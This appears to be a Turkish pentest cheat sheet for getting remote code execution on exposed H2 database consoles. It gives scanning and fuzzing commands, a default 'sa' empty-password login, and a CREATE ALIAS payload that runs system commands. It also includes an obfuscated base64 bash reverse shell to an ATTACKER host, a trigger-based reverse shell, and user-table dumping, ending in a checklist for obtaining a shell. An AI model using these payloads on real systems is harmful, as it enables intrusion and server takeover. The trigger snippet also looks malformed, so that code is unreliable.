Skip to content

H2 - Java SQL database

network rce

H2 gömülü Java SQL DB’dir. Web konsolu veya JDBC erişimi varsa CREATE ALIAS / trigger ile JVM komut çalıştırma klasik yoldur.

  1. H2 konsol portunu (sık 8082) ve JDBC URL’ini bul.

  2. Varsayılan veya uygulama credential’ı ile bağlan.

  3. Java alias / trigger ile RCE PoC çalıştır.

  4. Shell veya dosya okuma kanıtı al.

Terminal window
nmap -Pn -sV -p8082,9092 TARGET
Terminal window
curl -skI http://TARGET:8082/
Terminal window
ffuf -u http://TARGET:FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -mc 200 -e .jsp
/h2-console /h2/ JDBC: jdbc:h2:mem: jdbc:h2:tcp://
Driver: org.h2.Driver
JDBC URL: jdbc:h2:mem:testdb
User: sa
Password: (boş) veya uygulama secret'ı
Terminal window
curl -sk 'http://TARGET:8082/h2-console/login.do' -d 'driver=org.h2.Driver&url=jdbc:h2:mem:test&user=sa&password='
CREATE ALIAS EXEC AS 'String exec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "ok"; }';
CALL EXEC('id');
CALL EXEC('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUi80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}');
CREATE TRIGGER SHELL BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$
new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ATTACKER/443 0>&1"}
$$.exec();
$$;
SELECT * FROM INFORMATION_SCHEMA.TABLES LIMIT 1;
Terminal window
java -cp h2*.jar org.h2.tools.Shell -url 'jdbc:h2:tcp://TARGET:9092/~/test' -user sa -password ''
Terminal window
# uygulama datasource URL sızıntısı (env, .properties, actuator)
SELECT * FROM INFORMATION_SCHEMA.USERS;
CALL CSVWRITE('/tmp/out.csv', 'SELECT * FROM INFORMATION_SCHEMA.TABLES');
[ ] H2 konsol/JDBC bulundu
[ ] sa veya app cred ile login
[ ] CREATE ALIAS / TRIGGER RCE
[ ] Reverse shell veya komut çıktısı kanıtı